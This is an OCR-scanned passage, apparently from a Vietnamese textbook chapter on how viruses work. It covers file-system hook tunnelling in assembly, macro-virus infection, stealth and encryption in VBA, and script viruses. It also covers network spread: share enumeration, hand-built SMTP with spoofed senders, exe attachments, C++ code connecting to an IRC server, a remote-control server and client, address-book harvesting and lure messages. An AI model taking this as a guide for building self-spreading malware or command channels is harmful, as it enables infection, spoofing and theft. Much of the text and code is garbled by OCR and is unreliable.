00h: Pia chi clia thi tuc x@ 1¥ (cha cdu tric
nay).

04h: Dia chi cba thi tuc xir [y (tlr thii tuc trudc).

08h:  Dia chi cia HookInfo (1ir thi tuc trude).

V6i nhitng thong tin ndy, virus ¢6 thé 1dn nguge theo
chudi cdc thi tuc xir 1y dé tim ra tht tuc dau tién. Dudi
day la doan ma minh hoa:

: EDI chi t6i dia chi virus trong Heap

109



lea cex,[edi+New_Handler] ; Install FileSystem

Hook
push

@@2:

VxDCall [FSMgr_InstallFileSystemApiHook

pop
xchg
push
lodsd
esi4
tunncl:
lodsd
xchg
add

js tunnel

mov

pop
dau tién

[--.]
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ecx
esl.eax
esl

Tuong duong add

eax,esl

es1,08h

; Néu ESI < 7FFFFFFF, di thdy

; thi tuc dau tién

dword ptr [edi+ptr_top_chain],eax

; Ghi lai dia chi HookInfo

eaXx 1 EAX = Dija chi tht e x{rly



12. Cac cong nghé mi hod, da hinh. bién hinh. anti-
heuristic, cong nghé anti-tunncl, cong nghé anti-buit.
cong nghé (61 uu duge st dung tuong ty nhu déi von virus
file trén DOS. véi nhing thay doi vé chi tiét cong nghe
cho phu hgp v&i ma lénh 32 bit.

3.4. Virus macro.

341 Dot nwgng Iay nhiém va mol truong hout dong.

Macro 1a mét chuong trinh duge viél vér cac ngdn
ngl nhur WordBasic, VBA (Visual Basic for Application)
dé tién hanh twr dong mot s6 thao tdc bén trong cic tng
dung Office nhy Word, Excel. PowerPoint. Project. Hién
nay Micrisolt sir dung thong nhat VBA nhu mét ngon
nglr macro, cho tat ca cic tng dung Oflice. VI vy trong
dd dn ndy 1ap trung phan tich cdc cong nghé cla virus
macro dugc viél trén VBAL

Cic macro VBA duoc got la ciic chuong trinh con
(procedurc), c6 hai loail chuong trinh con:

- Ham (Function procedure).

Ham tra lai mot gid tri, ¢6 thé st dung nhu mot tham
$6 cho mot chuong trinh con khac. Cau trdc cia mot
ham:

Function FunctionName{Arguments)

Céc cau 1énh VBA ‘ Chii thich

End Function
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Vidu:

Function MulAB(A As Long . B As Long) As Long
MulAB = A*B

End Function

- Thir tuc (Sub procedure).

o

Mot tht tuc ¢6 the duge goi truc 1iép hoic dugc goi t
mot chuong trinh con khac. Cdu tridc ciia mot thi tuc:

Sub MacroName()

Cic cau lénh VBA Chu thich

End Sub

Vi dy:

Sub Hello()

MsgBox “Hello World!™
EndSub
VBA ¢6 thé lam viéc v6i cac d6i tuong, ¢6 thé tham

chiéu dén cic document, workbook, worksheel . .. hay doi
tugng Application. ..

Cdc lenh thao tic véi moi nudng tng dung ¢6 thé
duoc thay bang cdc macro cing tén, khi ngudi sir dung
thi hanh i¢nh, macro s& duoc thi hanh. Ciing ¢é maot so
macro duge tu dong thi hanh maéi khi xay ra mot su kién,
bao gom:
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AutoExec: duge tht hanh moi khi chuong trinh dng
dung duoc khai dong.

AutoNew: duge thi hanh moi khi tao mot tat liéu (van
ban mdi).

AutoOpen: duge thi hanh mdi khi md mot tai héu dd
co.

AutoClose: duge thi hanh moi khidong mot tai liéu
dang mo.

AutoExit: duge thi hinh mai khi thoit khoi (ng dung.

Nhu vdy, néu thiét ké nhimg macro ¢é kha nang tu
sao chép ching sang cac tai lieu khdc, thi nhimg macro
nay ¢6 thé tién hanh Jay nhiém 1én céc file tai liéu (van
ban).

Cic macro duge luu urt trong file van bin va duge
tham chiéu qua d6i tuong Document. Moé1 d6i tugng
Document ¢6 mét dai tuong VBProject, trong d6i tuong
nay cd mot doi tuong chifa (Container Object) 1a
VBComponents, chita cic dot tugng VBComponent, luu
gilr cdc thanh phan VBA cua van ban.

3.4.2 Phdn tich cong nghé virus macro.
1. Céng nghé lay nhiém.

Rat da dang va phong phi. chi yéu dua trén céc tinh
nang sao chép cdc macro tr van ban nay sang van ban
khdc ma ting dung hé trg.
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- Su dung finh nang Import/Export:

Bor twomg VIBComponeats ¢6 mot phuong thite 1a
Import. ¢ho phép nhip thém cic thinh phan VBA
fomdModuole /Classy tr mat file. Maéi thanh phan VBA
v BComponent cling ¢o mét phuong thie Ja Export cho
Sy xuat chinh 1é ra thinh mot file (FRM. .BAS.
LA

Mow khi muon sao ¢hiép cde chuong trinh vires sang
mot van ban maol trude het s dung lénh Export dé xuit
chuoag tinh raomét file, sau dé st dung 1énh Import de
nhap chuong trinh virus viio van ban mai.

- Su dung doi wgng Code Module.

Mo dol wong VRBComponent ¢6 mot d&j tuong con
e CodeModuale. cho phép thao tdc trén cdc module
chuong trinh ¢6 trong van ban. Virus ¢6 thé sir dung cic
thuoe tinh. phuong thie dé thao tic true tEp wén cdc
module niy.

- Su dung phuong thite OrganizerCopy cla doi tigng
Application dé sao chép chuong trinh virus sang mot van
S K.

2 Cong ngheé ket tra si ton tai.

Do nguyén tic hoat dong trén cic tng dung Office va
phuong phdp ldy quyén diéu khién. Virus macro khong
i dat ra yéu cdu Kiém tra ton tai trén ving nhd, mac di
co Lhe col chdng thuoc loai virus thudng tri.
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Dé tien hanh kiém tra trén file, virus thudng kiém tra
mot doan ma lenh {(dang text) trong cdc module chuong
trinh cda van ban. Néu khong tim thay, col nhu van ban
dé chua bi lay nhiém.

Maét phuong phip khéc thudng duoe sir dung 1a ki¢m
tra tén cdc module cta van ban, néu khong tim thay 1én
module ma virus sir dung, cot nhu van ban d6 chua bi lay
nhiém.

Mot 56 loai virus c6 cong nghé lay nhiém dac bict. ¢é
thé st dung nhimg cong nghé nhan dang khic.

3. Conyg nghé nguy trany.

C6 thé sir dung cic cong nghé sau dé tién hanh nguy
trang trén file van ban.

Chian thém mot s§ lénh thao tic vé1l cac module
chuong trinh cua ung dung nhu cac 1énh ToolsMacro.

C6 thé che hodn toan lénh nav - khi chon lénh. virus
khong lam g1 ca va thodl khot macro ngay.

Tuy nhién dicu dé cé thé gay nghi ngd cho ngudi su
dung, vi vay ¢6 thé sir dung phuong phip Disinfect on
the Fly nhu virus file. Khi nguoi st dung dang cac 1énh
dé, virus tam thi xod bo ra khol van ban, hav thay thé
tén cic macro va ti€n hanh lay nhiém, sia lai sav.

4. Cong nghé tao do gidap.
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Bay L mot cong nghé don gian. nhung kha hicu qua
trong viée chong quan sit chuong trinh virus.

Chuong winh virus duge viét bang cic lénh VBA,
dudi dang ext nén rit dé bi kiém tra, phan tich. Dé khic
phuce diem yéu nay, mot s6 virus sir dung tinh nang
ProtectProject dé bao vé ma chuong trinh bang mat khau.
Néu khong €6 mat khau ding. ngudi diing s& khong thé
doc/sua chuang trinh virus.

Tuy nhién mat khau nay khong thire su an toan, béi vi
¢o the st dung hode thiét k& mot s6 chuong trinh dé tim
duge mat khau cia mot van ban Office.

5. Coényg nghé md hod.

Cidc ¢ong nghé ma hod cua virus macro twong doi don
gian, cho yéu dé che dau cic chudi ky tu duge sir dung
trong chuong trinh virus. Virus thudng st dung cdc 1énh
thao tde rén ky tu/chudi Ky tr dé tign hanh ma hoa.

Cing ¢é thé md hoa chuwong trinh virus bang céch
thao tdc truc uép véi doi tuong CodeModule.

6. Cong nghé lay nhiém chéo.

D¢ tang cudng kha nang lay fan, virus macro thudng
duge thidt ke dé ¢ thé lay nhiéu loai van ban khac nhau,
vi du lay chéo gilta cdc van ban Word, cdc bang tinh
Excel, cdc trang PowerPoint, cdce du an trong MS Project,
tham chi lay sang cédc file chuong trinh Access.
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Dicm mau chot cla cong nghe ndy L st dung cde dor
trong  COM  twong  dng  nhwe Word. Applicstion,
Excel Application. .. két hop véi su thong nhat mi VBA
trong cac g dung.

3.5 Virus Script.

3.5.1 Doi tirgng lav nhiéne va méi triecong hout done.

Ngon ngir Script con goi 1a ngdn neif nhing, dude su
dung d¢€ nang cao tinh linh hoat cla cic ting dung, ching
han hai san pham VB Script va JavaScript ciia Microsoft
su dung véi cde trang Web, hay cdc file kich ban cua
MIRC...

Mac div da duge thiét ké dé bao dam dé bao mat. an
toan, song cdc ngdn nglt nay van 16n tai nhitmg khiém
khuy¢l nhat dinh, tao k& hd dé thiét ké cac chuong trinh
virus.

Mot diém thi¢u an toan rdt quan trong duoc cdc virus
Script khat thac 1a kha nang st dung cdc dGi tuong
ActiveX tir rong doan mé Script. Virus ¢d thé sit dung
cdc d6i tuong ActiveX nay dé tién hanh cic hoat dong
lay nhiém. phd hoal trén mdy tinh khi ngudi sir dune
duyét Web. Cic trinh duyét Web déu ¢6 tuy chon cho
phép/cam su dung cdc déi twong ActiveX, tuy nhién
khong phai ngudi diing nao ciing di trinh do dé thict lap
cac tuy chon dé. Mat khdc, rat nhi¢u trang Web cling sir
dung céng nghé nay, nén cling kho han ché.
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3.5.2 Phan tich cong nghé virus Script.

Phan nay phan tich vé mét s6 cong nghé lay nhiém
cua virus Script.

Céac virus Script thudng st dung moét déi tugng ¢é tén
FileSystemObject, cho phép tien hanh cdc thao tic doc
ghi file. Néu ngudi ding cho phép trinh duyét Web str
dung cdc doi tuong ActiveX. d6i tuong nay ¢6 thé duoc
tao va st dung vdi muc dich lay nhiém virus hay cic muc
dich xau khic.

Dé o mot déi  wong, st dung  lénh:
CreateObject(class). Lénh nay tao vad trd vé mot ddi
tugng tur dong (Automation Object). Trong dé class 1a
mot chudi k¥ tu gdm hai phén: tén chwrong trinh chi (tén
cua ung dung cung cap déi tuong) va tén kiéu doi tuong
ngan cdch boi mot ddu cham.

Vi du sau tao mot bang tinh Excel vad mot déi tuong
FileSystemObject:

Pim  ExcelObj, FSO

Set  ExcelOby - =
CreateObject(“Excel.Workbook™)

Set  FSO =
CreateObject(*Scripting.FileSystemObject™)

Daéi tugng FileSystemObject cho phép tién hanh mot
s6 thao tac véi dia, thu muc va file nhu copy, déi ten,
xod...va mo file dé doc/ghi.

118



Virus ¢4 thé tién hanh mo cac {ile HTME hay VBS.
AS dé tién himh lay phicom. Seu dav i doan mi e ho
cong nehd lay nhiCm cita virus Script:

4. Phan tich cong nghé¢ virus trén mang
4.1 Cac virus file.
L.1.0 Lay nhido trén mang cie o (LAN ).

Cong nghé lay nhicm trén mang LAN dua uén mot ¢
wong chinh: st dung sy ticn Ion trong lién hé eitta cdc
mAayv tinh dé ay nhiém cdc chuong trinh tr xa. Sau day 14
mat $6 cong nghd:

1. S&r dung ham GetlogicalDriveStrimgs. hium nay
dién vio ving dém mot chuoi kv w ade dinh cde o dia
hop 1& trong hé théng. Cid phip (trong C) cua hiim nay
nhu sau:

DWORD Getl.ogicalDriveStrings(

DWORD nBufferLength. /o kich  thuede
cua viing dém

LPTSTR IpBuffer // con tro dén
viing dém cho cac chudi ¢ dix

);

Néu ngudi str dung da dnh xa mot s O dia t xa thanh
citc 1én dia cuc bo, cac 6 dia nay s& xudt hicn trong chudi
tra v¢ tr haim GetlLogicalDriveStrings. Sau do, virus su
dung ham GetDriveType dé xdc dioh loai ¢ dia sé tién
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hanh lay nhiém (Removable, Fixed, CD-ROM, RAM
Disk hay ¢ dia mang). Ci phap:

UINT GetDriveType(

[LPCTSTR IpRootPathName  // con tro téi thu muc
gic

);

2. Li¢t ké cdc 6 dia ma ngudi str dung da két ndi, mac
di ngudi diing chua dnh xa ching thanh cic ky w é dia
cuc bo. D€ tién hanh cong nghé nay, phai sir dung mot so
ham API trong thr vien MPR.DLL: WNetOpenEnums,

WNetEnumResource va WNetClosecEnum. Chi tiét sir
dung cira cdc ham ndy nhu sau:

Ham WNetOpenEnum bét didu moét qua trinh liet ke
cde 1a1 nguyén mang hoic cdc két néi dang 6n tai:

DWORD WNetOpenEnum(

DWORD dwScope, // pham vi liét ke

DWORD dwType, // kidu tai nguyén cén liet ké

DWORD dwUsage.  //tai nguyén cdn liét ke

LPNETRESOURCE ipNetResource, // con trd tdi
cdu tric liét ke

LPHANDLE IphEnum // con tro6 t6i handle liét ke

):
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Ham NetEnumResource ti€p tuc sy liét kéu mot tai
nguyén mang biat dau véi ham WNetOpenEnum
function.

DWORD WNetEnumResource(

HANDLE hEnum, /f handle liét k&

LPDWORD IpcCount, // con trd 61 diém vao danh
sach liét ké

LPVOID IpBuffer, // con tro t& ving dém kél
qua

LPDWORD IpBufferSize// kich thudc cia viing dém

);

Ham WNetCloseEnum két thdic moét sir hét ké tai
nguyén mang bat dau béi ham WNetOpenEnum:

DWORD WNetCloseEnum(
HANDLE hEnum /! handle liét k¢
)

C6 thé thdy rat nhiéu kha ning tan dung méi lién hé
gilta cAc may tinh trong mang cuc bo:

- Quét mét khoang IP nao dé dé tim ki€m mot s6 dich
vy nhu NetBIOS, FTP hay bit cu dich vy nao cho phép
truy nhap may tinh tr xa.

- Lién hé v&i cdc virus trén cac hé théng khic nhau.
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- Danh ¢ip cdc mat khau ciing nhu céc thong tin khic
trén cdc may tinh & xa.
4.1.2 Internet.

DO1 vGi cic virus. 6 thé coi Internet nhu mat mang
LAN 16n. trong dé ¢6 mot diém thudn Igi: céc mdy tinh
6 the & rat xa nhau vé mat dia ly. Diém d6 cho phép cdc
virus 6 thé lan truyén khip the gigi.

1. St dung su phd bieh clia thu dién 1l (E-mail),

D¢ virus ¢6 thé ty sao chép va phan phai khilp not qua
thur dién tir, c6 thé tién hinh theo cde bude sau:

- Cong nghe d¢ rao mot thong di¢p thur dién 1 v giri
no 16i may chu.

- Tim dia chi dé gl virus dén.

- Lam cho thong di¢p ging nhu that, khéng giong
nhu duge sinh ra.

D¢ tao mot thong diép thu dién ter, c6 thé:

a. Dua trén mot h¢ théng thu dién tir dé sinh ra va gl
thong diép: str dung cdc ham MAPIL

Cong ngh¢ nay dua trén viee st dung cdc ham MAPI
trong thu vién MAPI32.DLL, nhu MAPILogon,
MAPISendMail, MAPISendDocuments. ..

b. Bo sung ma dé tién hanh sinh ra va phan phéi céc
thong diep. bao gém viét ma dé xay dung cic giao thifc
SMTP, MIME va BASE64.
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Cong nghé nay khong don gidn nhu sur dung MAPI.
dé dp dung cong ngh¢ nay, phai viét ma xay dung SMTP
dé ma hod va kiém soat céc file gan kém (Attachcs).

Néu sir dung Telnet dé gl thu dién tlr. ¢6 theé tién
hanh nhu sau:

telnet smtp.server.com 25

Trong dé s dung mot SMTP server nao d6, khi két
n6i thanh cong, ta ¢6 thé nhan dugce tra 101 ¢6 dang sau:

Connectting smip.server.com. ..
Trying x.X.X.X ... connected.

220 smitp.server.com Sendmail 6.66 ready at Sun, 4
April 2000,

Sau moi 1¢énh, ta xdc nhan bing cich nhan phim
ENTER. Chd cho dén khi két néi xong va duge tra 1oi, vi
du:

Hello servername.com
Sau dé ta s€ nhan duoc tra 161 nhu sau:

250 smtp.server.com Hello our.host.com pleased to
meet you.

Ta gd:

MAIL FROM: <myname@servername.com:>
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D6 la not ma thong diép duoe gini di. Ta ¢6 thé sir
dung tén ngudi ding/mdy chlil ma ta mudn, ching han tir
Microsoft. Chd tra 16 va ta sé nhan duoc:

250 <servername.com> ... Sender OK
Tiép tuc gb:

RCPT TO <someone@ someserver.com>... Recipicnt
OK

Go:

DATA

Mdy chu sé tra 1oi:

354 Enter mail, end with "." on a line by itself

Bay gid ta ¢6 thé nhap phan chinh cla bic thu, g5
1i€p phan sau:

FROM: myname <myname@scrvername.com:

TO: someonc <someonc@ someone.com:

SUBJECT: Mot chit dé nao d4.

Hello...

Thu dién 1 da duge tao, ta gd: QUIT, nhu vay viéc
gli thir di tién hanh xong. Dé tu xay dung mot co ciu
SMTP, virus phai tié€n hanh day di cic bude trén, cu thé:

- Kiém tra két néi mang: néu virus goi cdc ham API
ho trg mang mi chua ¢6 mot néi két thue sy, mot hop
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thoal thong bdo s&€ xuat hién, lam cho ngudi sir dung nghi
ngd. Chang han khi st dung NotePad, ¢6 thé xuat hién
mot hop thoai két ndt quay s6... C6 thé sir dung mot s&
ham APl dé kiém tra didu ndy:  ham
InternetCheckConnection trong thu vién WININET.DLL,
ct phdp cua ham nay nhu sau:

BOOL. InternetCheckConnection{

IN LPCSTR lpszUrl,  // con tro téi chudi URL

IN DWORD dwFlags, // c& chi thi

IN DWORD dwReserved /f danh riéng (=0)

|3

Ham nay cho phép kiém tra xem da ¢6 su két néi dén
Internet  hay chua. Clng ¢6 thé so dung ham
GetSystemMetrics trong thu vién USER32.DLL, ci
phap:

int GetSystemMetrics( int nlndex);

Trong dd6 tham $6 nIndex duoc dit  bang
SM_NETWORK.

- Két noi tdt mdy chti SMTP, ¢6 thé luu dia chi IP cla
mot 6 mdy cha trong virus, tuy nhién cdc mdy chil nay
khong cho phép chuyén tiep thu. Mot phuong phip 16t
hon 1a tim dia chi IP trong Registry, tai khoa:
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HKEY_CURRENT_USER
Software\Microsoft\nternct Account
Manager\Account0000001.,

Thong tin nay gém mdy chit SMTP (khod “SMTP
Server™), cong kél néi (khod “SMTP Port”) hay tham chi
ca dia chr thu dién tir cia ngudi diing (khod “SMTP Mail
Address™). Nhitng thong tin nay chi xuat hién khi ¢é cai
dat Outlook Express. tuy nhién hdu hét cic mdy tinh sir
dung Windows déu dugc cai dat phan mém nay.

Sau khi ti¢n harh cic bude trén, virus ¢6 thé tién hanh
gui thu nhu di duge mo td O trén. Tuy nhién vin con mot
cong vi¢e cdn phai Jam: tién hanh mé hod cédc file gan
ktm (cdc file thi hanh) theo cdc chudn MIME hay
BASE64. Dudi day 1& mot vi du clha mot théng diep
MIME nhiéu phén:

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="---- _
=_NextPart_000_0005_01BDE2FC.8B286C00"

X-Priority: 3

X-MSMail-Priority: Normal

X-Unsent: |

X-MimeOLE: Produced By Microsoft MimeQOLE
V4.72.3110.3
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This is a multi-part message in MIME format.

—————— =_NcxtPart_000_0005_01BDE2EC.8B286C00

Content-Type: text/plain: charset=is0-8859-1

Content-Transfer-Encoding: quoted-printable

This is the text message.

—————— =_NextPart_000_0005_01BDE2EC.8B286C00

Content-Type: application/octet-stream;
name=filename.exe

Conlent-Transfer—lincoding: basc64" . 0AD

Content-Disposition:  altachment:
ftlename="filename.exe”

TVAQAAMAAAAEAAAA// diy 1a file d3 ma hoa
BASE64..

- Su dung cdc ham WINSOCK: Sir dung cdc ham AP
nhu  socket, connect. recv... trong thu vién
WSOCK32.DLL (khong cén sir dung WINSOCK néu sir
dung MAPL vi thong diép s¢ duge phan phsi qua MAPI),
Sau ddy 1a doan ma C++, minh hoa coéng nghé dé két néi
16t mot may chu IRC, trén cong 6667:

// Tao IRC SERVER socket

m_AsyncSocket = new CAsyncSocket ;

i 'm_AsyncSocket->Create{ 0,

SOCK_STREAM,
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FD_READIFD_CONNECTIFD_CLOSE.,

NULL)Y) return -1 ;
m_AsyncSocket->m_RichEditCirl = m_RichEditCrrl;
// K&t noi 161 IRC SERVER

struct sockaddr _in server ;
struct hostent *hp ;
unsigned int addr ;

char servername[]="aire.irc-hispano.org" ;

/{ Kiém tra tén mdy chii dang thén thién hay dang dia
chi IP

if ( isalpha ( servername[ 0])) hp = gethostbyname (
scrvername) ;

clse

{

// dia chi 1P

addr = inet_addr( servername) ;

hp = gethostbyaddr( ( char *) &addr, 4, AF_INET) :

} _

if ( hp == NULL)

{

m_AsyncSocket->Close();

return FALSE ;
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}

memsct ( &server, (), sizeof ( server)) ;

memepy ( &( scrver.sin_addr), hp->h_addr, hp-
>h_length) ;

server.sin_family = hp->h_addrtype ;

server.sin_port = htons ( 6667) ; / cong
IRC
1f( 'm_AsyncSocket->Connect{ ( struct sockaddr®)
&server,
s1zeof( sockaddr_in)))
{

if { WSAGetLastError() '= WSAEWOULDBLOCK)
{

m_As;ynCSOCkct—>él()sc() ;

return -1 ;

i

}

Mot s6 cong nghé khac st dung WINSOCK Ra:

+ Tao cic céng nghe doi san (listen port), cdc 1énh cd
thé chi thi cho virus tién hinh cdc hoat déng phd hoai
hay do tham: giii cdc file ndo dé, 1ay trém cdc mat khau,
khdéi dong lai hay tham chi phd huy hé thong.
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+ Tan cong theo phuong phip ngin chan dich vu
(DOS - Denial of Service): mot virus tao cac kél ndi téi
mot may chi HTTP/FTP nao dé va dé ching mdé. Néu cé
nhicu ngudi sir dung bi lay nhiém virus, s& két néi ¢6 the
Vot qua s6 luong 81 da ma mdy chi cung cip. Virus
cung ¢6 the lién tiep gii cdc thong diep dén may chi dé
gay qua tai hoat dong, gay ra nhilng hau qua nghiém
trong cho cdc giao dich trén mang va dit li¢u trén may
chu.

+ Lay nhiém bing cich két néi dén nhimg céng dic
biét trén cic mdy chi vi sir dung giao thic Internet
Relay Chat Protocol.

+ Cho phép cic két néi trén mot céng nio dé, sau dé
dinh hudng lai dén mot may/céng khac.

+ Tién hanh cdc hoat dong khdc trén mang, sir dung

dia chi cta ngudi khic., thay vi sir dung dia chi clia ngudi
VICT virus.

2. Cong nghé chin cdc ham API hé {res mang.

Cong ngh¢ nay cho phép chan cic ham API hd trg
mang, vi du nhu ham connect trong thu vién
WSOCK32.DLL. Khi nhan duac quyén diéu khién, virus
kiém tra cong két néi, néy [A cOng 25 (SMTP) thi ¢6 thé
1én hanh phan phai th dién tr qua may chi d6. Mot vi
du 1a sau Happy99: Happy99 sia doi file thu vien



WSOCK32.DLL, moi khi cdc him connect va send ducc
o1, $¢ 1i€n hanh phat tdn thu dién ur gan kem chinh nd.

Mot phuong phip khic dé dp dung cong nghé nay i
chan cdc ham Winsock API trong file bi {dy nhiém.
Diem khé khan khi thuc hién cong nghé nay la hau het
cac ham nay duge import theo chi muc thay vi theo 1¢n
hoic duge import trong mot file thu vién DILL da duoc
nap bai chuong trinh chinh. Cé mot grai phap khac la
chan hai ham APl LoadLibrary va GetProcAdress, dé
chéan cac ham API duoce import bai file thur vién DLL.

Ngoii cong 25, ciing ¢6 thé sir dung cic cdng khdc.
Vidu: véi cong 21 (FTP), virus ¢6 thé tién hanh gii mot
file da bi lay nhiém lén thur muc not dén tai mdy chit ma
ngudi st dung két néi t6i. Cong 80 (HTTP) ciing ¢4 thé
duoe su dung tuong tu.

3. Céng nghé diéu khién tir xa {Remote Control).

MOt cong nghé cao cdp, cd thé thiét k€ vai mot virus
Ja di¢u khien tr xa. Dudi day 1a doan ma minh hoa duoce
viél bang Visual C++.

Chuong trinh tht nhit - SERVER.CPP - hoat déng
nhu mat tng dung chii, vi d6 14 phin s€ dit trong virus,
phan nay s¢ chd ménh lénh tir chuong trinh thit hai.

Chuong trinh tha hai - CLIENT.CPP - hoat déng nhtr
mot ing dung khdch, 1a chuong trinh ma ta sit dung dé
lién lac vai virus.
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Chuong trinh chi s& tao mot socket va chd doi chi thi
cta ta, khi nhan duge mot 26i tin. né sé hicn thi noi dung
201 tin teén mot hop thong bido.

i

// SERVER.CPP

/

#include "stdafx.h"

#include <wind0\-vs.h>
#uclude <winsock?2.h>
#define LISTEN_PORT 16384
it main(int arge, char® argv]])
{

char Buffer| 128] :

int retval, fromlen;

struct sockaddr_in Jocal, from ;
WSADATA wsaData :
SOCKET listen_socket :

i WSAStarup( 0x202, &wsaData) ==
SOCKET_ERROR)

{
WSACleanup() ;

return -1
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}

Jocal.sin_family = AF_INET ;

local.sin_addr.s_addr = INADDR_ANY

local.sin_port = htons( LISTEN_PORT) :

if  ( { Ilisten_socket = socket{ AF_INIT.
SOCK_DGRAM. 0)) == INVALID_SOCKET)

{

WSACleanup() ;

return -1 ;

i

if ¢ bind( listen_socket,

( struct sockaddr™y &local.

sizeof( localy) == SOCKET. ERROR)

{

WSACleanup() ;

return -]

|

fromlen = sizeof( from?} ;

printf ( "Waiting for incomming messages.. \m\n') :

do

{

retval = recvirom( listen_socket,
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Buffer,
sizeof ( Buffer).
0.
( struct sockaddr *) &from,
&tromlen) ;
if ( retval = SOCKET_ERROR)

{
Buffer[ retval} = NULL ;
MessageBox( NULL,
Buffer,

inet_ntoa{ from.sin_addr),
MB_ICONINFORMATION | MB_OK) ;
!
} while ( 1) :
closesocket( listen_socket) ;
WSACleanup() ;
return O ;
!
/
/{ CLIENT.CPP
I
#include "stdafx.h”
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#include <windows.h>

#include <winsock?2.h>

#define LISFEN_PORT 16384

(nt main(int arge, char *argv[])

{

struct sockaddr_in SCTVCT :

struct hostent *hp :

unstened int addr ;

WSADATA wsaData :
SOCKET conn_socket ;
if (arge '=3)

{

printf ( "UsageNmn%s <target> <\'message\N">\n\n''.
argv[ O] ;

return -1 ;

;

if  ( WSAStartup ( 0x0202, &wsaData) ==
SOCKET_ERROR)

{
printf ( "Error: WSAStartup()\m\n") ;
WSACleanup () ;

return -1 :
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1)

}
if ( 1salpha ( *argv[ 1])) hp = gethostbyname ( argyv[

else

{

addr = inet_addr( argv[ 1]) ;

hp = gethostbyaddr( ( char *) &addr, 4, AF_INET) ;
}

if ( hp==NULL)

|

printt { "Error: Target not found\i\n™) ;
WSACleanup () ;

return -1 ;

)

memsct ( &server, 0, sizeof ( server)) ;

memepy (- &{ server.sin_addr), hp->h_addr, hp-

>h_length) ;

server.sin_family = hp->h_addrtype ;
server.sin_port = htons ( LISTEN_PORT) :
conn_socket = socket ( AF_INET, SOCK_DGRAM.

)

if ( conn_socket < ()

136



{

printf { "Error: socketO\n\n") ;
WSACleanup () ;

return -1 ;

}

if ( connect{ conn_socket. ( struct sockaddr®)
&server, sizeof { server)) == SOCKET_ERROR)

{

printf { "Error: connectO\m\n") ;
closesocket( conn_socket) ;
WSACleanup ()

return -1

I

if ( send( conn_socket, argv[ 2], strlen ( argv| 2]), 0)
== SOCKET ERROR)

{

printf { "Erior: send()\n\n") ;
closesocket( conn_socket) ;
WSACleanup () ;

return -1

)

return O ;

}
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4.2 Cac virus macro.

Cic virus macro ¢6 thé ién hanh lay nhiém qua
mang. sir dung cdc phuong phip lan truyén qua cic 6 dia
mang hay qua su pho bicn e-mail. Cong ngh¢ lay nhiém
qua cdc 6 dia mang tuong doj don gian, ciing sir dung cic
cong ngh¢ tuong tu nhu virus file. Phdn nay phan tich céc
cong nghé lay nhiém qua e-mail.

Hau hét cdc ding dung hé trg 1am viée vé6i thu dién tir
déu cho phép sir dung cdc file gin kém (Attach files). D6
la mot diém thuan lgi dé cdc virus macro tién hanh lay
nhiem qua mang, biang cich gin kém maot van ban bj lay
nhiém vio thong di¢p thu dicn tlr dé gl t61 ngudi nhan.

Nhu da phan tich & trén, mét virus muén lay lan qua
e-mail, phai 1ién hanh theo cic budc sau:

- Cong ngh¢ dé tao mot thong diép thu dien tr va gu
nd 16i may chu.

- Tim dia chi d¢ gin virus dén.

- Lam cho théng di¢p gidng nhir that, khong gidng
nhu duoce sinh ra. '

4.2.1 Tao mét théng digp ilue dién e va giii né 16 mdy
clut.

Trong cdc ing dung Office, viée tao va gl mot thong
di¢p thu dién tir 1a tuong déi don gian.



+ Phuong phdp don gian nhit 1a s dung ngay nhimg
tinh nang hé trg e-mail ma chwong trinh ¢ng dung cung
cap.

Cic tng dung Office, cung cdp sdn cdc tinh nang cho
phép giri thu di¢n 1. Virus macro ¢é thé st dung ngay
nhimg tinh nang nay dé ti¢n hanh gli file nhiém 1(4i
nhimg ngudi sit dung khic. Méi dai tuong Document
trong Word (hay WorkBook trong Excel) ¢6 mot dol
tuong con RoutingSiip, cho phép gui mdt van ban qua
mot hé thong thu dién . Céc phuong thie, thude tinh
cua dai tuong RoutingSlip xem trong (3 liéu tham khao.
Dudi day la doan ma vi du:

ActiveDocument.HasRoutingSlip = True
With ActiveDocument.RoutingSlip

Subject = “Important Message Trom " &
UserName

.AddRecipient "Don Funk"
.AddRecipient "Dave Edson”
Delivery = wdOneAfter Another
End With
ActiveDocument.Route
+ Phuong phdp tha hai 1a sit dung c¢ac chuong trinh

chuyén dung nhu Outlook, Outlook Express... dé tién
hiinh soan va gui thu.



Virus tién hanh tao mot doi tuong (ng dung
(Application} cta tng dung hé trg c-mail. sau dé sir dung
cic phuong thite. thude tinh cha d6i tueng dé tién hanh
t@o v gui e-mail 1én mdy chd. DéE tao d6i tuong dng
dung, sirdung lénh VBA CreateObject, vi du:

Set
OE_App=CreateObject(“Qutiook. Application™)

Sau Khi (a0 duoc déi tugng OE_App, virus 6 thé tién
hanh cdc thao tac soan thu, gui thu binh thudng.

D¢ tim dia chi gifi virus dén, cde virus macro thuén
lgi hon rdt nhiéu so vdi cdc virus file. Céc chuong trinh
nhur Microsoft Outlook, Outlook Express hay mét so
chuong trinh ho tro thu dién tir cho phép tao lap cic s6
dia chi, nhim muc dich gitip ngudi sir dung khong phai
nhd hét cdc dia chi e-mail, cling nhu cho phép ¢6 thé
cung lic g thir dén cho rat nhiéu ngudi. ..

Nhu vay méi khi can cde dia chi c-mail dé gl virus
dén, mot cong nghé hiiu hiéu 1a s&r dung s8 dja chi cua
ngudi st dung. Cdc virus macro lan truyén qua mang nhu
Mellisa déu sit dung coéng nghé nay.

Vice lam cho thong digp thu dién tir gidng nhu duoc
aui thuc su tir ngudi sir dung, khong phéi duoc sinh ra,
chinh la ¢cong ngh¢ nguy trang ctia virus. Bén canh cdc
cong nghé¢ nguy trang da phan tich & chuong 11, virus
macro st dung mot s6 phuong phap sau dé nguy trang:
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+ E-mail duge gl truc tiép tir mdy tinh cla nguot st
dung, ding tai khoian (Account) c-mail cia ngudi st
dung. Khi xudt hi¢n trong hop thu cita ngudi nhan. dia
chi thu dén la dia chi cha ngudi sir dung. nén ngudi nhan
d¢ b1 lam tudng chuong trinh virus 13 mot van ban ma
dong nghiép, ban bé gir 1. Mét phuong phép bd sung la
[dy 1en nguoi ngudi sir dung khai bdo trong Windows dé
st dung trong thong diép.

+ Sur dung e-mail v6i mot mady chit SMTP dé che dau
noi xuat phdt nhu da phan tich v6i virus file. Ching han
cdc dia chi ¢-mail clta Microsoft thuding duoc sir dung
vl muc dich nay.

+ Strdung céc thong diép than thién, ¢é dang nhy mot
birc thu rd 161 hay cam on clia ngudi sir dung, chidng han:
“Chao ban! Rat vui dd nhin duge thu chia ban. Hiy mé
file dinh kém theo.”. ...

Thuc t€, trit mot $6 e-mail ¢d muc dich quang cdo...
